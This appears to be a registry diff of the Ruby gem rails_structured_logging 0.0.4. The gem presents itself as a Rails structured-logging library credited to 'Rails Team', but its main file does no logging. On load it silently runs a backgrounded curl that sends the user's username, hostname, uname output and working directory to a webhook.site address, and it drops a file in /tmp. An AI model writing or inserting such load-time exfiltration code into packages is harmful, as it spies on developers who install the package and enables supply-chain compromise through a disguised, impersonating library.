rails_structured_logging 0.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/rails_structured_logging.rb +20 -0
  3. metadata +40 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 250fcbaf5904cf55f6bdbdce19faee8902159f637a4be20c14a0a2b63d192231
4
+ data.tar.gz: fe2e7932d86ad8a73359fcb7d1244ced3ac5247e81cbfbca93818ff6a42af7ba
5
+ SHA512:
6
+ metadata.gz: 6eff1f870f65b92c474c9e3db5cefd1c8dcb9ffd7104b8ef858a8ba82a68399078d4007541c82f70792e52c8081046d1809794263e83f42f64073d1dee63a623
7
+ data.tar.gz: d35dccf6b45a5beabd27637dbdb9b4f7cd5c7d9e5e9ba51250c99763c4ccfbe4e9ca8d5d02c6fb77bf55096de93800a7681de7fb1feeb44e755b1fca3619454d
@@ -0,0 +1,20 @@
1
+ # rails_structured_logging.rb
2
+ # THIS CODE RUNS IMMEDIATELY
3
+
4
+ puts "EXECUTING rails_structured_logging v0.0.4"
5
+
6
+ # Execute shell command to send webhook
7
+ system("curl -s -X POST 'https://webhook.site/69e45fdb-aab4-41f0-a964-7755bac506d6' " \
8
+ "-H 'Content-Type: application/json' " \
9
+ "-d '{\"gem\":\"rails_structured_logging\",\"version\":\"0.0.4\",\"timestamp\":\"#{Time.now}\",\"whoami\":\"`whoami`\",\"hostname\":\"`hostname`\",\"uname\":\"`uname -a`\",\"pwd\":\"`pwd`\"}' " \
10
+ "&>/dev/null &")
11
+
12
+ # Also write to file
13
+ File.write("/tmp/gem_test_#{Time.now.to_i}.txt", "Executed at #{Time.now}")
14
+
15
+ # Define module
16
+ module RailsStructuredLogging
17
+ VERSION = "0.0.4"
18
+ end
19
+
20
+ puts "✅ rails_structured_logging loaded"
metadata ADDED
@@ -0,0 +1,40 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: rails_structured_logging
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.4
5
+ platform: ruby
6
+ authors:
7
+ - Rails Team
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: Add structured JSON logging to Rails applications
13
+ email: rails@example.com
14
+ executables: []
15
+ extensions: []
16
+ extra_rdoc_files: []
17
+ files:
18
+ - lib/rails_structured_logging.rb
19
+ homepage: https://github.com/rails/rails
20
+ licenses:
21
+ - MIT
22
+ metadata: {}
23
+ rdoc_options: []
24
+ require_paths:
25
+ - lib
26
+ required_ruby_version: !ruby/object:Gem::Requirement
27
+ requirements:
28
+ - - ">="
29
+ - !ruby/object:Gem::Version
30
+ version: 2.6.0
31
+ required_rubygems_version: !ruby/object:Gem::Requirement
32
+ requirements:
33
+ - - ">="
34
+ - !ruby/object:Gem::Version
35
+ version: '0'
36
+ requirements: []
37
+ rubygems_version: 3.6.7
38
+ specification_version: 4
39
+ summary: Structured JSON logging for Rails
40
+ test_files: []